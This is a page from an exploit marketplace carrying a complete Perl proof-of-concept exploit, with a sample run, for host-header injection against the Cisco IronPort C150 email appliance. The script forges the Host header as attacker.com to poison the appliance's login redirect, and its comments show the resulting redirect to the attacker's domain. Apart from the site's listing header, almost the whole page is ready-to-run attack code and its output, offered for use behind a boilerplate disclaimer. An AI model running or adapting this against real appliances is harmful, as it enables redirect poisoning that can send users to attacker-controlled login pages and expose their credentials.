[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Cisco Email Security Appliance (IronPort) C150 - (Host) Header Injection Exploit

Author
Todor Donev
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-33198
Category
remote exploits
Date add
02-09-2019
Platform
hardware
#!/usr/bin/perl -w
#
#
#  Cisco IronPort C150 Remote Header 'Host' Injection
#
#
#  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
#  Disclaimer:
#  This or previous programs are for Educational purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages 
#  caused by direct or indirect use of the  information or functionality provided by these programs. 
#  The author or any Internet provider  bears NO responsibility for content or misuse of these programs 
#  or any derivatives thereof. By using these programs you accept the fact  that any damage (dataloss, 
#  system crash, system compromise, etc.) caused by the use  of these programs are not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#
#
#       [test@localhost ironport]$ perl ironport_c150.pl https://192.168.1.1 attacker.com
#  # Cisco IronPort C150 Remote Header 'Host' Injection
#  # ==================================================
#  # Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
#  # >  Host => attacker.com
#  # >  User-Agent => iCab/4.0 (Macintosh; U; Intel Mac OS X)
#  # >  Content-Type => application/x-www-form-urlencoded
#  # <  Cache-Control => no-store,no-cache,must-revalidate,max-age=0,post-check=0,pre-check=0
#  # <  Date => Mon, 02 Sep 2019 07:42:12 GMT
#  # <  Pragma => no-cache
#  # <  Location => https://attacker.com/login?CSRFKey=c7103f80-977a-a61e-eecb-84717e621136&referrer=https%3A%2F%2Fattacker.com%2FSearch
#  # <  Server => glass/1.0 Python/2.6.4
#  # <  Content-Type => text/html
#  # <  Expires => Mon, 02 Sep 2019 07:42:12 GMT
#  # <  Last-Modified => Mon, 02 Sep 2019 07:42:12 GMT
#  # <  Client-Date => Mon, 02 Sep 2019 07:42:13 GMT
#  # <  Client-Peer => 192.168.1.1:443
#  # <  Client-Response-Num => 1
#  # <  Client-SSL-Cert-Issuer => 
#  # <  Client-SSL-Cert-Subject => 
#  # <  Client-SSL-Cipher => DHE-RSA-AES128-GCM-SHA256
#  # <  Client-SSL-Socket-Class => IO::Socket::SSL
#  # <  Client-SSL-Warning => Peer certificate not verified
#  # <  Refresh => 0; URL=https://attacker.com/login?CSRFKey=c7103f80-977a-a61e-eecb-84717e621136&referrer=https%3A%2F%2Fattacker.com%2FSearch
#  # <  Set-Cookie => sid=6t67zdL9tSW0mcqetPC0; expires=Wednesday, 04-Sep-2019 07:42:12 GMT; httponly; Path=/; secure
#  # <  Title => : Redirecting
#  # <  X-Frame-Options => SAMEORIGIN
#  # ==================================================
#  # IronPort is Poisoned => https://attacker.com/login?CSRFKey=c7103f80-977a-a61e-eecb-84717e621136&referrer=https%3A%2F%2Fattacker.com%2FSearch
#
#  
use strict;
use v5.10;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;


my $host = shift || '';
my $attacker = shift || 'attacker.com';


print "# Cisco IronPort C150 Remote Header 'Host' Injection
# ============================================================
# Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
";
if ($host !~ m/^http/){
print  "# e.g. perl $0 https://target:port/ attacker.com
";
exit;
}

my $user_agent = rand_ua("browsers");
my $browser  = LWP::UserAgent->new(
                                        protocols_allowed => ['http', 'https'],
                                        ssl_opts => { verify_hostname => 0 }
                                );
   $browser->timeout(10);
   $browser->agent($user_agent);

my $request = HTTP::Request->new (POST => $host,[Content_Type => "application/x-www-form-urlencoded"], " ");
$request->header("Host" => $attacker);
my $response = $browser->request($request);
print "# 401 Unauthorized!\n" and exit if ($response->code eq '401');
say "# >  $_ => ", $request->header($_) for  $request->header_field_names;
say "# <  $_ => ", $response->header($_) for  $response->header_field_names;
print "# ============================================================\n";
if (defined ($response->header('Location')) and ($response->header('Location') =~ m/$attacker/i)){
  printf ("# IronPort is Poisoned => %s\n", $response->header('Location'));
  exit;

} else {

  printf ("# Exploit failed!\n");
  exit;

}

#  0day.today [2024-11-15]  #